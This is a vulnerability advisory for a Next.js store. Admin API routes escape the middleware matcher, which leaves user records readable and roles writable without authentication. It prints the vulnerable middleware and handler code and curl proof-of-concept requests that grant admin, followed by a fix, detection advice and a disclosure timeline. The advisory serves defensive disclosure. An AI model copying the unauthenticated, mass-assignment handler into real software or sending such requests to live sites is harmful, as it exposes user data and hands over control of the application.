home / findings / wm-2026-001

Next.js: middleware matcher leaves admin API routes unauthenticated

ID
WM-2026-001
Severity
Critical  CVSS 3.1 base 9.1
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Class
Broken access control · CWE-862 Missing Authorization, CWE-306 Missing Authentication for Critical Function
Component
store.plankdesigns.co, Next.js 14 (App Router), middleware.ts and /api/admin route handlers
Status
Fixed, published after the fix
Published
2026-10-04

Executive summary

Authentication for the admin area is enforced only in Next.js middleware, and the middleware matcher covers the admin pages but not the admin API route handlers. Anyone on the internet can list, read and modify user accounts, including granting themselves the admin role, without logging in.

Impact

  • Unauthenticated read of every user record (names, emails, roles).
  • Unauthenticated write: any account can be promoted to admin or disabled, which gives full control of the application.
  • No credentials, user interaction or special position are required, and the requests look like ordinary traffic.

Technical details

root cause

The application protects /admin with middleware.ts. Unauthenticated requests to /admin/users are redirected to the login page, which suggests the area is protected. The matcher, however, lists only the page path:

// middleware.ts (vulnerable)
import { NextResponse } from "next/server";

export function middleware(req) {
  if (!req.cookies.get("session")) {
    return NextResponse.redirect(new URL("/login", req.url));
  }
  return NextResponse.next();
}

export const config = {
  matcher: ["/admin/:path*"],   // /api/admin/* is never matched
};

The route handlers under app/api/admin/ were written on the assumption that middleware had already authenticated the caller, so they perform no check of their own:

// app/api/admin/users/[id]/route.ts (vulnerable)
export async function PATCH(req, { params }) {
  const body = await req.json();
  await db.user.update({ where: { id: params.id }, data: body });
  return Response.json({ ok: true });
}

The request path never matches the matcher, so the middleware does not run and nothing else stands between the caller and the database. The handler also passes the whole request body to the update, which lets the caller set any column, including role.

Proof of concept

minimal, no real data

Reproduced against a local copy of the application with no session cookie. Documentation addresses and placeholder data only.

# the page is protected
$ curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" https://store.plankdesigns.co/admin/users
307 https://store.plankdesigns.co/login

# the API behind it is not
$ curl -s https://store.plankdesigns.co/api/admin/users
[{"id":"1","email":"user1@example.com","role":"admin"}, ...]

$ curl -s -X PATCH https://store.plankdesigns.co/api/admin/users/42 \
       -H 'content-type: application/json' -d '{"role":"admin"}'
{"ok":true}

Only the user list and a single role change were tested, on a test account created for the purpose. No other data was accessed.

Remediation

Authorisation belongs next to the data, not only in front of the route. Check the session inside every handler, or in one shared data-access function that every handler must call, and treat middleware as a convenience layer.

// app/api/admin/users/[id]/route.ts (fixed)
import { requireAdmin } from "@/lib/auth";   // verifies session AND role server-side

export async function PATCH(req, { params }) {
  await requireAdmin(req);                    // throws 401/403
  const { role, disabled } = schema.parse(await req.json());   // allow-list fields
  await db.user.update({ where: { id: params.id }, data: { role, disabled } });
  return Response.json({ ok: true });
}
  • Add /api/admin/:path* to the matcher as defence in depth, but do not rely on it.
  • Validate request bodies against an explicit schema so a client cannot set fields such as role through mass assignment.
  • Add a test that requests every route in app/api/admin without a session and expects 401.
  • Review the access log for requests to /api/admin without a session cookie during the exposure period.

Detection

Alert on 2xx responses to /api/admin/* with no session cookie, and on role changes not preceded by an admin session.

Disclosure timeline

days from report
d0
Report sent to the vendor security contact
d1
Acknowledged
d6
Fix confirmed in a staging build and retested
d9
Fix deployed to production
d90
Public disclosure window (published after the fix)

References

All findings

Tags

#web#nextjs#authentication#access-control

Related

shares a tag